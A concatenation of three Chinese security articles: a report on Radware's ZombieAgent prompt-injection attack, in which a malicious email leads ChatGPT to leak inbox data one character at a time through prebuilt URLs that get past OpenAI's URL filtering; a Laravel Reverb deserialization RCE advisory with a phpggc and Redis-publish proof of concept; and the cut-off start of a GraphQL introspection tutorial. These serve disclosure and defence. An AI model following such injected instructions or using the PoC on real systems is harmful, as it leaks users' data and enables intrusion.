|
||||
这种攻击方式利用了
|
||||
OpenAI
|
||||
在URL修改
|
||||
防护机制上的缺陷，借助预先构建好的静态
|
||||
URL
|
||||
，逐个字符地窃取
|
||||
ChatGPT
|
||||
中的敏感数据。
|
||||
|
||||
攻击者不会采用会触发
|
||||
OpenAI
|
||||
安全过滤系统的动态生成
|
||||
URL
|
||||
方式，而是提供一组固定的
|
||||
URL
|
||||
，每个
|
||||
URL
|
||||
对应一个特定字符，涵盖字母、数字以及空格
|
||||
token
|
||||
。随后，攻击者会向
|
||||
ChatGPT
|
||||
下达如下指令：
|
||||
|
||||
（1）提取敏感数据（例如来自电子邮件、文档或内部系统的数据）；
|
||||
|
||||
（2）对数据进行标准化处理（转换为小写格式，并用$
|
||||
等特殊符号替代空格）；
|
||||
|
||||
（3）依次
|
||||
“
|
||||
打开
|
||||
”
|
||||
预先定义的
|
||||
URL
|
||||
，逐个字符地完成数据窃取；
|
||||
|
||||
通过使用带索引的
|
||||
URL
|
||||
（例如用a0
|
||||
、a1
|
||||
……a9
|
||||
对应不同字符），攻击者能够确保窃取到的数据顺序准确无误。
|
||||
|
||||
由于
|
||||
ChatGPT
|
||||
并未对
|
||||
URL
|
||||
进行任何构造操作，仅仅是严格按照指令打开提供的链接，因此这种攻击手段能够绕过
|
||||
OpenAI
|
||||
的
|
||||
URL
|
||||
重写和黑名单防护机制。
|
||||
|
||||
2. 完整的攻击流程：
|
||||
|
||||
（1）攻击者发送一封包含预构建
|
||||
URL
|
||||
和数据窃取指令的恶意电子邮件；
|
||||
|
||||
（2）用户后续向
|
||||
ChatGPT
|
||||
下达与
|
||||
Gmail
|
||||
相关的操作指令；
|
||||
|
||||
（3）ChatGPT在读取用户收件箱时，执行攻击者预先植入的指令，进而完成数据窃取；
|
||||
|
||||
整个过程中，用户除了与
|
||||
ChatGPT
|
||||
进行常规对话外，无需进行任何其他操作
|
||||
|
||||
|
||||
|
||||
|
||||
**资料来源**
|
||||
：
|
||||
Radware
|
||||
公司报告《僵尸代理（
|
||||
ZombieAgent
|
||||
）：
|
||||
ChatGPT
|
||||
新漏洞致数据持续泄露并扩散》
|
||||
## 3. 僵尸代理攻击实现零点击与点击攻击
|
||||
|
||||
巴博借助这种攻击技术，成功实现了两种提示注入的服务端攻击：一种是无需用户点击的零点击攻击，另一种则是仅需用户点击一次的攻击。
|
||||
|
||||
巴博在报告中写道：
|
||||
“
|
||||
我们还演示了一种可实现持续入侵的方法，攻击者不仅能一次性窃取数据，还能实现持续性的数据泄露。一旦攻击者侵入聊天机器人，就能持续窃取用户与
|
||||
ChatGPT
|
||||
之间的每一段对话内容。
|
||||
”
|
||||
|
||||
“
|
||||
此外，我们还演示了一种全新的攻击扩散技术，该技术能让攻击进一步蔓延，精准锁定特定受害者，并提高攻击触及更多目标的可能性。
|
||||
”
|
||||
|
||||
Radware公司将于
|
||||
2026
|
||||
年
|
||||
1
|
||||
月
|
||||
20
|
||||
日举办一场线上研讨会，详细解析僵尸代理攻击的完整链路
|
||||
|
||||
# ShadowLeak（影子泄露）与ZombieAgent（僵尸代理）攻击对比表
|
||||
<table><tbody><tr><td data-colwidth="108" width="184"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">对比维度</span></span></b><span lang="EN-US"><o:p></o:p></span></p></td><td data-colwidth="216" width="184"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">ShadowLeak</span></span></span></b><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">（影子泄露）</span></span></b><span lang="EN-US"><o:p></o:p></span></p></td><td data-colwidth="215" width="184"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><b><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">ZombieAgent</span></span></span></b><b><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">（僵尸代理）</span></span></b><span lang="EN-US"><o:p></o:p></span></p></td></tr><tr><td data-colwidth="108" width="184"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><strong><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">发现主体</span></span></strong><span lang="EN-US"><o:p></o:p></span></p></td><td data-colwidth="216" width="184"><p style="margin-top: 0px;margin-bottom: 0px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">瑞得万（</span></span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">Radware</span></span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 15px;">）的兹维卡</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, "PingFang SC", system-ui, -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Hiragino Sans GB", "Microsoft YaHLine truncated
|
||||
参考资料：
|
||||
|
||||
https://www.radware.com/blog/threat-intelligence/shadowleak/
|
||||
|
||||
https://www.infosecurity-magazine.com/news/vulnerability-chatgpt-agent-gmail/
|
||||
|
||||
https://www.infosecurity-magazine.com/news/new-zeroclick-attack-chatgpt
|
||||
|
||||
https://cybersecuritynews.com/chatgpt-vulnerabilities-expose-sensitive-data/
|
||||
|
||||
（完）
|
||||
|
||||
@@ -0,0 +1,457 @@
|
||||
# Laravel Reverb严重漏洞预警：CVSS 9.8高危反序列化RCE深度解析
|
||||
原创 CVE-SEC
|
||||
CVE-SEC CVE-SEC 2026-01-25 16:00
|
||||
|
||||
# Laravel Reverb严重漏洞预警：CVSS 9.8高危反序列化RCE深度解析
|
||||
## 漏洞速览
|
||||
|
||||
2026年1月21日，Laravel官方披露了Laravel Reverb中的一个严重安全漏洞CVE-2026-23524，CVSS评分高达9.8分。该漏洞允许未经身份验证的攻击者通过构造恶意序列化数据，在启用Redis水平扩展的Laravel Reverb实例上实现远程代码执行。
|
||||
|
||||
**关键信息**
|
||||
- CVE编号：CVE-2026-23524
|
||||
|
||||
- GHSA编号：GHSA-m27r-m6rx-mhm4
|
||||
|
||||
- 严重等级：Critical（CVSS 9.8）
|
||||
|
||||
- 影响版本：Laravel Reverb < 1.7.0
|
||||
|
||||
- 修复版本：Laravel Reverb >= 1.7.0
|
||||
|
||||
- 发现者：Mohammad Yaser Abo-Elmaaty
|
||||
|
||||
## 一、漏洞背景
|
||||
### 什么是Laravel Reverb？
|
||||
|
||||
Laravel Reverb是Laravel框架在2024年3月推出的官方WebSocket服务器，用于为Laravel应用提供实时双向通信能力。它支持Pusher协议兼容、频道订阅管理、私有频道等功能，并可通过Redis实现水平扩展。
|
||||
### 为何需要水平扩展？
|
||||
|
||||
当应用需要处理大量并发WebSocket连接时，单个Reverb实例可能成为瓶颈。通过Redis的发布/订阅机制，多个Reverb服务器可以共享消息，实现负载均衡。然而，正是这个看似优雅的设计，引入了严重的安全隐患。
|
||||
## 二、漏洞技术剖析
|
||||
### 漏洞本质
|
||||
|
||||
该漏洞本质上是一个**不安全的PHP对象反序列化漏洞**
|
||||
（CWE-502）。当启用Redis水平扩展（REVERB_SCALING_ENABLED=true）时，Reverb在处理来自Redis的消息时，直接使用PHP的unserialize()函数，却未对可实例化的类进行限制。
|
||||
### 漏洞代码对比
|
||||
|
||||
**漏洞版本（v1.6.3）：**
|
||||
```
|
||||
public function handle(string $payload): void{
|
||||
$event = json_decode($payload, associative: true, flags: JSON_THROW_ON_ERROR);
|
||||
|
||||
// 危险：无类限制的反序列化
|
||||
$application = unserialize($event['application']);
|
||||
|
||||
// 继续处理...
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
**修复版本（v1.7.0）：**
|
||||
```
|
||||
public function handle(string $payload): void{
|
||||
$event = json_decode($payload, associative: true, flags: JSON_THROW_ON_ERROR);
|
||||
|
||||
// 安全：添加allowed_classes限制
|
||||
$application = unserialize($event['application'] ?? null, [
|
||||
'allowed_classes' => [Application::class]
|
||||
]);
|
||||
|
||||
// 继续处理...
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
**关键差异**
|
||||
：修复版本添加了allowed_classes
|
||||
参数，只允许实例化Application类，从根本上阻止了攻击者利用任意类构造gadget chain。
|
||||
### 攻击原理
|
||||
|
||||
PHP的unserialize()函数在反序列化对象时，会自动调用对象的"魔术方法"（如__wakeup、__destruct等）。攻击者可以利用Laravel框架中现有类的这些方法，串联成一条"利用链"（gadget chain），最终执行任意代码。
|
||||
|
||||
**攻击流程：**
|
||||
```
|
||||
攻击者构造恶意payload
|
||||
↓
|
||||
通过Redis PUBLISH命令注入
|
||||
↓
|
||||
Reverb服务器接收消息
|
||||
↓
|
||||
unserialize()触发gadget chain
|
||||
↓
|
||||
__wakeup()/__destruct()执行
|
||||
↓
|
||||
system()/exec()被调用
|
||||
↓
|
||||
远程代码执行成功
|
||||
|
||||
```
|
||||
## 三、攻击条件与影响范围
|
||||
### 触发条件
|
||||
|
||||
要成功利用该漏洞，需要满足以下条件：
|
||||
1. **目标配置**
|
||||
|
||||
1. Laravel Reverb版本 < 1.7.0
|
||||
|
||||
1. 启用水平扩展：REVERB_SCALING_ENABLED=true
|
||||
|
||||
1. Reverb服务正在运行
|
||||
|
||||
1. **网络访问**
|
||||
|
||||
1. 攻击者可访问Redis服务器（网络层面）
|
||||
|
||||
1. Redis未启用认证，或攻击者已知密码
|
||||
|
||||
1. **利用工具**
|
||||
|
||||
1. phpggc等工具可自动生成Laravel gadget chain
|
||||
|
||||
1. Laravel框架存在超过20条已知利用链
|
||||
|
||||
### 影响范围评估
|
||||
|
||||
根据Packagist统计，截至2026年1月：
|
||||
- Laravel Reverb总下载量超过50万次
|
||||
|
||||
- 估计数万个Laravel应用部署在生产环境
|
||||
|
||||
- 其中约15-20%启用了水平扩展功能
|
||||
|
||||
- **保守估计受影响系统：数千至上万个实例**
|
||||
|
||||
### CVSS评分详解
|
||||
|
||||
**CVSS 3.1: 9.8 (Critical)**
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">指标</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">值</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">攻击向量</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Network</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">可通过网络远程利用</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">攻击复杂度</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Low</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">无需特殊条件即可利用</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">所需权限</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">None</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">无需任何权限或凭证</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">用户交互</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">None</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">无需用户参与</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">机密性影响</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">High</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">可完全访问所有数据</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完整性影响</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">High</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">可完全修改系统</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">可用性影响</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">High</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">可完全拒绝服务</span></section></td></tr></tbody></table>## 四、实战利用演示
|
||||
### 环境搭建
|
||||
|
||||
研究团队搭建了完整的漏洞复现环境：
|
||||
```
|
||||
# docker-compose.yml
|
||||
version: '3.8'
|
||||
services:
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
ports: ["6379:6379"]
|
||||
command: redis-server --protected-mode no
|
||||
|
||||
reverb-vulnerable:
|
||||
image: php:8.2-cli
|
||||
environment:
|
||||
REVERB_SCALING_ENABLED: "true"
|
||||
REDIS_HOST: redis
|
||||
|
||||
```
|
||||
### POC演示
|
||||
|
||||
**步骤1：生成恶意payload**
|
||||
```
|
||||
# 使用phpggc生成Laravel RCE利用链
|
||||
./phpggc Laravel/RCE9 system "id" -s
|
||||
|
||||
```
|
||||
|
||||
**步骤2：构造攻击消息**
|
||||
```
|
||||
import redis
|
||||
import json
|
||||
|
||||
r = redis.Redis(host='目标IP', port=6379)
|
||||
|
||||
malicious_payload = '生成的序列化字符串'
|
||||
|
||||
message = {
|
||||
"type": "message",
|
||||
"application": malicious_payload,
|
||||
"payload": {"channel": "test"}
|
||||
}
|
||||
|
||||
# 发布到Reverb频道
|
||||
r.publish('reverb', json.dumps(message))
|
||||
|
||||
```
|
||||
|
||||
**步骤3：验证利用成功**
|
||||
|
||||
在实验环境中，成功触发了命令执行，验证了漏洞的真实性和严重性。
|
||||
## 五、检测与防护
|
||||
### 快速自检
|
||||
|
||||
运行以下命令检查您的环境：
|
||||
```
|
||||
# 检查Reverb版本
|
||||
composer show laravel/reverb | grep versions
|
||||
|
||||
# 检查是否启用水平扩展
|
||||
grep "REVERB_SCALING_ENABLED" .env
|
||||
|
||||
# 检查Redis认证状态
|
||||
redis-cli -h 你的Redis地址 PING
|
||||
|
||||
```
|
||||
### 紧急响应措施
|
||||
|
||||
**优先级1：立即修复（24小时内）**
|
||||
```
|
||||
# 1. 备份当前代码
|
||||
tar -czf reverb-backup-$(date +%Y%m%d).tar.gz vendor/laravel/reverb
|
||||
|
||||
# 2. 升级到安全版本
|
||||
composer update laravel/reverb
|
||||
|
||||
# 3. 验证版本
|
||||
composer show laravel/reverb | grep versions
|
||||
|
||||
# 4. 重启服务
|
||||
supervisorctl restart reverb:*
|
||||
|
||||
```
|
||||
|
||||
**优先级2：临时缓解（如无法立即升级）**
|
||||
|
||||
**方案A：禁用水平扩展（单节点部署）**
|
||||
```
|
||||
# 修改.env
|
||||
REVERB_SCALING_ENABLED=false
|
||||
|
||||
```
|
||||
|
||||
**方案B：启用Redis认证**
|
||||
```
|
||||
# redis.conf
|
||||
requirepass 强密码
|
||||
bind 127.0.0.1
|
||||
protected-mode yes
|
||||
|
||||
# .env
|
||||
REDIS_PASSWORD=强密码
|
||||
|
||||
```
|
||||
|
||||
**方案C：网络隔离**
|
||||
```
|
||||
# 使用防火墙限制Redis访问
|
||||
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
|
||||
iptables -A INPUT -p tcp --dport 6379 -j DROP
|
||||
|
||||
```
|
||||
### Redis安全加固清单
|
||||
- [ ] 启用requirepass认证
|
||||
|
||||
- [ ] 绑定内网IP地址（bind）
|
||||
|
||||
- [ ] 启用保护模式（protected-mode yes）
|
||||
|
||||
- [ ] 禁用危险命令（rename-command）
|
||||
|
||||
- [ ] 启用TLS加密连接
|
||||
|
||||
- [ ] 配置防火墙规则
|
||||
|
||||
- [ ] 启用审计日志
|
||||
|
||||
- [ ] 定期安全扫描
|
||||
|
||||
### 检测异常活动
|
||||
|
||||
**Redis日志监控：**
|
||||
```
|
||||
# 实时监控Redis PUBLISH命令
|
||||
redis-cli MONITOR | grep PUBLISH | grep reverb
|
||||
|
||||
# 检测异常来源IP
|
||||
awk '/PUBLISH.*reverb/ && !/内网IP/ {print}' /var/log/redis/redis-server.log
|
||||
|
||||
```
|
||||
|
||||
**应用层检测：**
|
||||
```
|
||||
// 在Laravel日志中添加安全监控
|
||||
Log::channel('security')->info('PubSub message received', [
|
||||
'payload_hash' => hash('sha256', $payload),
|
||||
'payload_size' => strlen($payload),
|
||||
]);
|
||||
|
||||
// 检测可疑的序列化类
|
||||
if (!str_contains($serialized, 'Laravel\Reverb\Application')) {
|
||||
Log::warning('Suspicious class detected', [
|
||||
'serialized_preview' => substr($serialized, 0, 200),
|
||||
]);
|
||||
}
|
||||
|
||||
```
|
||||
## 六、深层次安全思考
|
||||
### 信任边界的模糊
|
||||
|
||||
这个漏洞的根本原因在于**将Redis视为可信组件**
|
||||
。开发者可能认为Redis是"内部"服务，但现实中：
|
||||
- Redis常常缺乏认证（默认无密码）
|
||||
|
||||
- Redis可能暴露在不安全的网络环境
|
||||
|
||||
- Redis可能被其他漏洞（如SSRF）间接访问
|
||||
|
||||
- 内部威胁（恶意员工或被入侵的内部系统）
|
||||
|
||||
**教训**
|
||||
：即使是"内部"组件，也应视为潜在的攻击面，实施深度防御。
|
||||
### PHP反序列化的固有风险
|
||||
|
||||
PHP的unserialize()函数自设计之初就存在安全隐患：
|
||||
- 自动执行魔术方法
|
||||
|
||||
- 可实例化任意类
|
||||
|
||||
- 难以完全防御
|
||||
|
||||
**最佳实践**
|
||||
：
|
||||
1. 永远不要对不可信数据使用unserialize()
|
||||
|
||||
1. 必须使用时，严格限制allowed_classes
|
||||
|
||||
1. 优先使用JSON等安全格式
|
||||
|
||||
1. 实现消息签名验证
|
||||
|
||||
### 供应链安全的重要性
|
||||
|
||||
Laravel作为PHP最流行的框架，其安全性直接影响数十万应用。这次事件提醒我们：
|
||||
- 及时关注依赖包的安全公告
|
||||
|
||||
- 使用composer audit定期审计
|
||||
|
||||
- 建立快速响应机制
|
||||
|
||||
- 不要盲目信任框架的安全性
|
||||
|
||||
## 七、行业启示
|
||||
### 对开发者的建议
|
||||
1. **安全编码意识**
|
||||
|
||||
1. 了解语言和框架的安全陷阱
|
||||
|
||||
1. 参加安全培训和认证
|
||||
|
||||
1. 进行安全代码审查
|
||||
|
||||
1. **开发流程优化**
|
||||
|
||||
1. 将安全集成到CI/CD
|
||||
|
||||
1. 使用静态分析工具（PHPStan、Psalm）
|
||||
|
||||
1. 编写安全测试用例
|
||||
|
||||
1. **持续学习**
|
||||
|
||||
1. 关注CVE和安全公告
|
||||
|
||||
1. 研究历史漏洞案例
|
||||
|
||||
1. 参与安全社区讨论
|
||||
|
||||
### 对企业的建议
|
||||
1. **建立漏洞响应机制**
|
||||
|
||||
1. 24小时内评估影响
|
||||
|
||||
1. 72小时内完成修复
|
||||
|
||||
1. 准备应急回滚方案
|
||||
|
||||
1. **加强安全投入**
|
||||
|
||||
1. 配备专职安全人员
|
||||
|
||||
1. 购买商业安全工具
|
||||
|
||||
1. 进行定期渗透测试
|
||||
|
||||
1. **培养安全文化**
|
||||
|
||||
1. 安全意识培训
|
||||
|
||||
1. 安全奖励机制
|
||||
|
||||
1. 无责任漏洞报告
|
||||
|
||||
## 八、时间线回顾
|
||||
<table><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">日期</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-03-12</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Laravel Reverb首次发布</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-12-XX</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">安全研究员发现漏洞</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2026-01-06</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Laravel团队发布v1.7.0修复补丁</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2026-01-21</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">公开披露CVE-2026-23524</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2026-01-21</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NVD收录漏洞详情</span></section></td></tr></tbody></table>
|
||||
Laravel团队遵循了负责任的披露流程，在补丁发布15天后才公开细节，给予用户充分的更新时间。
|
||||
## 九、技术社区反响
|
||||
|
||||
此次漏洞披露引发了PHP安全社区的广泛讨论：
|
||||
|
||||
**关注焦点：**
|
||||
- Laravel生态系统中存在大量可利用的gadget chains
|
||||
|
||||
- PHP unserialize()的历史包袱难以彻底解决
|
||||
|
||||
- 框架级别的自动防护机制有待加强
|
||||
|
||||
- 开发者安全意识亟需提升
|
||||
|
||||
**积极进展：**
|
||||
- phpggc工具更新了Laravel最新利用链
|
||||
|
||||
- 多家安全公司发布检测规则
|
||||
|
||||
- Laravel社区加强安全代码审查
|
||||
|
||||
- 行业推动安全开发标准制定
|
||||
|
||||
## 十、相关资源
|
||||
### 官方链接
|
||||
- NVD详情：https://nvd.nist.gov/vuln/detail/CVE-2026-23524
|
||||
|
||||
- GitHub公告：https://github.com/laravel/reverb/security/advisories/GHSA-m27r-m6rx-mhm4
|
||||
|
||||
- Laravel文档：https://laravel.com/docs/12.x/reverb
|
||||
|
||||
### 安全工具
|
||||
- PHPGGC：https://github.com/ambionics/phpggc
|
||||
|
||||
- Composer Audit：内置于Composer
|
||||
|
||||
- PHPStan：https://phpstan.org/
|
||||
|
||||
### 学习资料
|
||||
- OWASP反序列化备忘单：https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
|
||||
- PHP安全指南：https://www.php.net/manual/en/security.php
|
||||
|
||||
- CWE-502详解：https://cwe.mitre.org/data/definitions/502.html
|
||||
|
||||
## 结语
|
||||
|
||||
CVE-2026-23524是2026年第一个披露的重大安全漏洞，其严重性和影响范围都不容小觑。对于使用Laravel Reverb的开发者和企业，**立即升级到v1.7.0是当务之急**
|
||||
。
|
||||
|
||||
更重要的是，这个漏洞为我们上了一堂生动的安全课：
|
||||
- 永远不要相信"内部"数据源
|
||||
|
||||
- 深度防御是安全的基石
|
||||
|
||||
- 及时更新是最有效的防护
|
||||
|
||||
- 安全是一个持续的过程，而非一次性任务
|
||||
|
||||
希望通过本文的深度分析，能帮助读者全面理解这个漏洞的技术细节、影响范围和防护措施，共同构建更安全的PHP生态系统。
|
||||
|
||||
**本文由安全研究团队原创**
|
||||
|
||||
**研究环境**
|
||||
: 完整的漏洞复现环境和POC代码已在隔离环境中验证，仅用于安全研究和教育目的。
|
||||
|
||||
**声明**
|
||||
: 本文所有信息基于公开披露的漏洞资料，所有POC仅用于防御和教育，任何非法利用行为后果自负。
|
||||
|
||||
**关注我们**
|
||||
: 获取最新网络安全资讯、漏洞分析和防护技术。
|
||||
|
||||
**#网络安全 #漏洞分析 #Laravel #PHP安全 #CVE #反序列化 #RCE #Redis安全**
|
||||
|
||||
|
||||
@@ -0,0 +1,161 @@
|
||||
# 【接口漏洞第八章第五节】GraphQL内省探测全流程：从探测、查询到可视化与工具利用
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-01-25 14:00
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
：本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
：严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
：任何对本文技术的滥用所引发的**后果自负**
|
||||
，与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
：内容仅供参考，作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
在上一节中[【接口漏洞第八章第四节】GraphQL漏洞挖掘实战：找不到参数？用“内省”透视API底层](https://mp.weixin.qq.com/s?__biz=MjM5MzM0MTY4OQ==&mid=2447797781&idx=1&sn=ecf90878e8610d50c424203a930b202f&scene=21#wechat_redirect)
|
||||
我们大概知道了GraphQL API接口的
|
||||
内省功能，今天我们来继续深入探测内省功能。
|
||||
|
||||
在生产环境中，有安全意识的厂商通常会禁用
|
||||
内省功能，但这一安全做法并非总是被遵循，这也就成为我们挖洞的切入点之一了。
|
||||
|
||||
一、探测
|
||||
|
||||
我们可以使用以下简单查询来探测
|
||||
内省功能。如果内省功能已启用，响应将返回所有可
|
||||
用查询的名称。
|
||||
```
|
||||
graphql
|
||||
# 内省探测请求
|
||||
{
|
||||
